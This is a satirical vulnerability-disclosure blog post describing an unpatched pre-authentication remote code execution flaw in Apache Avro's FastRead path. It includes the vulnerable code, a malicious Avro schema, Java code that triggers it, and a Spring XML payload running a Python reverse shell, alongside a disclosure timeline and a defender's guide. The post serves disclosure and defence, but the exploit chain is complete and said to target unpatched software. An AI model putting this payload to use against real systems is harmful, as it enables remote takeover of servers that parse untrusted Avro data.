I am proud to announce that the Michael model is now available in private preview to a small set of businesses and individuals. This model has shown great promise in a wide variety of tasks, including security engineering, vulnerability research, and general writing. In fact, the model wrote this post! The result we are sharing today is a story of how Michael was able to discover a zero-day remote code execution vulnerability in a widely used open-source project in under 40 hours of runtime, which is still unpatched 470+ days later. As an innovate meat-based model, Michael bills by the hour, and at his rate of $400/hour this was a total cost of only $14,400. This is incredibly cost-effective compared to Anthropic’s Claude Mythos, which cost $20,000 to find some other critical vulnerabilities.
Publisher’s Note
This post was originally written on 12 April 2026, about a year after the bug was reported. I’m finally hitting “publish” on it on 27 July 2026, though the fix for the security issue is still not available 473 days after the initial report.
This was motivated by the recent announcement of AI-enabled attacks on HuggingFace, where they described the initial access vector as “a malicious dataset [which] abused two code-execution paths in our dataset processing (a remote-code dataset loader and a template-injection in a dataset configuration).” While not a perfect fit for the bug described below, it’s very similar in shape.
Curious, I looked into the training data cutoffs for all of the current frontier models and found, perhaps unsuprisingly, that the patches that imply the existence of a security flaw were included as early as of:
- Claude Opus 4.7. Released April 2026, training data cutoff January 2026 according to Anthropic
- OpenAI GPT 5.6 family. Released July 2026, training data cutoff Feb 2026 according to openrouter
Intro
If it isn’t clear, I’m parodying Anthropic’s assessment of the capabilities of their new Mythos model. My belief is that Mythos is good, but the primary value of it remains in the ability of clankers to scale horizontally - they don’t need food, water, or sleep - and not that they’re necessarily more cost-effective than humans at accomplishing a specific task.
In fact, the reason I found this vulnerability was a direct result of LLMs happily generating a legitimate-seeming “slop PoC” for CVE-2025-30065. I am incredibly nerd-snipable, so seeing someone on the internet being wrong sent me on a journey that led to me discovering a pre-authentication remote code execution (RCE) vulnerability in Apache Avro.

Disclosure Timeline
2025-04-06 - CVE-2025-30065 hits Hacker News, entering Michael’s context window.
2025-04-10 - Initial report made to Apache Security Team
2025-06-27 - Project maintainer confirms reproduction of the issue and that it is considered a security issue
2025-08-01 - Initial fix proposed via email. Project team members are helpful in getting Michael’s code fixed up and worth of inclusion
2025-08-14 - Michael created PR against Avro to fix the issue
2025-10-23 - apache/avro#3525 is merged, Michael fails to follow up to confirm that it does NOT fix the issue
2026-03-27 - Apache Security Team reaches back out to ask if Michael can confirm if the vulnerability is still present
2026-03-29 - Michael confirms that the vulnerability is still present in the latest commit
2026-03-31 - Avro team member merges their own fix for the vulnerability, Michael confirms that it worked
2026-03-31 - Avro team member identifies that this vulnerability is present by default in the latest version. Exploitation required a non-default setting when Michael first found it.
As of today, 26 July 2026, the patch is still not released.
Vulnerability Discovery
As previously implied, the vulnerability Michael discovered was a variation on
CVE-2025-30065 that depended
on an Avro feature named “FastRead” being enabled. In the fix PR for that CVE,
a new checkSecurity method was added to the FieldStringableConverter class
that was responsible for checking that the class specified by the java-class
property for within the Avro schema was from a set of approved packages. The PR
that the maintainers thought addressed this issue, apache/avro#3525,
improved this check to only allow specific classes.
The vulnerability was that the FastReaderBuilder.findClass method did NOT use
the same check.
private FieldReader createStringReader(Schema readerSchema) {
FieldReader stringReader = createSimpleStringReader(readerSchema);
if (isClassPropEnabled()) {
return getTransformingStringReader(readerSchema.getProp(SpecificData.CLASS_PROP), stringReader);
} else {
return stringReader;
}
}
private FieldReader getTransformingStringReader(String valueClass, FieldReader stringReader) {
if (valueClass == null) {
return stringReader;
} else {
Function<String, ?> transformer = findClass(valueClass)
.map(clazz -> ReflectionUtil.getConstructorAsFunction(String.class, clazz)).orElse(null);
if (transformer != null) {
return (old, decoder) -> transformer.apply((String) stringReader.read(null, decoder));
}
}
return stringReader;
}
private Optional<Class<?>> findClass(String clazz) {
try {
return Optional.of(data.getClassLoader().loadClass(clazz));
} catch (ReflectiveOperationException e) {
return Optional.empty();
}
}
By comparison, this is what SpecificDatumReader.getPropAsClass looked like:
private Class getPropAsClass(Schema schema, String prop) {
String name = schema.getProp(prop);
if (name == null)
return null;
try {
Class clazz = ClassUtils.forName(getData().getClassLoader(), name);
checkSecurity(clazz);
return clazz;
} catch (ClassNotFoundException e) {
throw new AvroRuntimeException(e);
}
}
Asessing Impact
The primitive an attacker has here is that they can construct a class of their choice using a single string of their choice as an argument. The class must be present in the classpath of the target application (no remote-loading like the Log4Shell JDNI bugs), which limits the ability for an attacker to write one universal exploit to work against multiple targets.
The “easy” PoC is to get “blind SSRF” by use something like javax.swing.JEditorPane, included by default in all Java applications, to trigger a web request to a URL of your choice. The Avro schema for that could be something like:
{
"type": "record",
"name": "TestStringRecord",
"fields": [
{
"name": "inner",
"type": ["null", {
"type": "string",
"avro.java.string": "String",
"java-class": "javax.swing.JEditorPane"
}
],
"default": "http://localhost"
}
]
}
Writing a single row with that schema then reading it back will trigger a web
request to http://localhost.
// Write
Path stringFile = new Path("string.avro");
org.apache.avro.Schema stringSchema = schemaParser.parse(STRING_SCHEMA);
GenericRecordBuilder stringRecordBuilder = new GenericRecordBuilder(stringSchema);
stringRecordBuilder.set("inner", "http://localhost".toString());
GenericData.Record myStringRecord = stringRecordBuilder.build();
final DatumWriter<GenericRecord> stringDatumWriter = new GenericDatumWriter<>(stringSchema);
try (DataFileWriter<GenericRecord> stringDataFileWriter = new DataFileWriter<>(stringDatumWriter)) {
stringDataFileWriter.create(stringSchema, new java.io.File(stringFile.toString()));
stringDataFileWriter.append(myStringRecord);
stringDataFileWriter.close();
} catch (IOException e) {
System.out.println("Couldn't write string file");
e.printStackTrace();
}
// Reader
final File file = new File("string.avro");
final DatumReader<GenericRecord> datumReader = new GenericDatumReader<>();
GenericRecord recordRead;
DataFileReader<GenericRecord> dataFileReader = new DataFileReader<>(file, datumReader);
recordRead = dataFileReader.next();
System.out.println("Successfully read avro file");
System.out.println(recordRead.toString());
dataFileReader.close();
Blind SSRF isn’t cool though. You know what is? RCE. It turns out that Spring’s
spring-context-support contains a “Stringable” RCE primitive ClassPathXmlApplicationContext.
By changing the schema java-class to org.springframework.context.support.ClassPathXmlApplicationContext
and using url:http://localhost:8000/malicious.xml as our inner value, we
can now demonstrate RCE by serving a remote shell payload:
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="myBean" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<array>
<value>sh</value>
<value>-c</value>
<value>python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("localhost",9001));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'</value>
</array>
</constructor-arg>
</bean>
</beans>
And then, finally, we can show pre-authentication RCE in Apache Avro:

Off-by-default (until it wasn’t)
At the time that Michael first discovered that issue, this code path was
off-by-default, with it only getting used if a user explicitly set
org.apache.avro.fastread=true.
On 30 May 2025, that changed - now the vulnerable code was the default,
making this issue much more impactful. Michael didn’t notice this until the Avro maintainer pointed it out almost a year later.
CVE Details (Proposed, since no CVE has been issued)
Schema parsing in Apache Avro in version 1.12.1 in the default configuration, or in configurations with “Fast Read” enabled in all versions since version 1.9.2, allows attackers to execute arbitrary code. Users are recommended to upgrade to version 1.12.2 or 1.11.6.
CVSS 3.1 Score: 9.8 CVSS 3.1 Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CVSS 4.0 Score: 10.0 CVSS 4.0 Vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
Credit:
- Michael Torres
- Alex Kiecker
- Zane Hoffman
Defender’s Guide
The primary protection against this specific vulnerability is, naturally, to
update anything that uses Avro past the vulnerable version. If, for some reason,
patching isn’t possible you can also just manually set org.apache.avro.fastread=false.
Broadening slightly, you can sanitize the schemas you receive, stripping out
any java-class, java-key-class, java-element-class properties. There’s
still technically a path that lets users specify the Java class that the
overall record will be constructed into, but this is a much weaker primitive as
it requires the class constructor to have negative side effects. There’s no
classes Michael could find that had very dangerous side effects in their
constructor, limiting the impact of that path to DoS.
Finally, you probably shouldn’t be parsing untrusted data from users with as complex of a schema as Avro/Parquet/Arrow on multitenant systems. Each user’s data should be processed on dedicated, isolated compute (VMs, to first order), with network restrictions that prevent cross-tenant access. That way, when the next hot new big data format has an issue like this the impact is limited to the context of the user that supplied the malicious file.
Cost Assessments
The process of discovering, proving, and building a PoC for this vulnerability took approximately 40 hours. I arrived at that number based on:
- 8 emails back-and-forth with the Avro team and the Apache security team. Michael doesn’t track the time he spent per reply, so we generously assume 1 hour each.
- According to analysis of Michael’s cached VSCode session data, 8 hours spent developing the PoC exploit. Since this is somewhat lossy, we give it a 3x multiplier for a final development time of 24 hours
- Authoring this post to announce Michael’s results took 4 hours
All that added up is 36 hours, which at the Michael model hourly rate of $400 per hour yields a total cost of $14,400. To quote Anthropic, “the specific run that found the bug above cost under $50, but that number only makes sense with full hindsight.”
Zero-Shot Discovery w/ Claude Opus 4.6
Michael wanted to see if this bug was discoverable using a similar prompt to the previous post. It worked.

This is a pretty good demonstration of Opus’ capabilities, since by the nature of a zero day vulnerability there is no practical way that the model could have had the patch in its training data.
Conclusion
Snarky framing of this entire post aside, I think that the vulnerability itself is interesting. My primary goal was to talk about the vulnerability, how it works, and how I discovered it. The secondary goal was the meta-commentary on how I was able to find a high-impact CVE for less cost than Mythos, but no one writes articles about me being a threat to global stability ):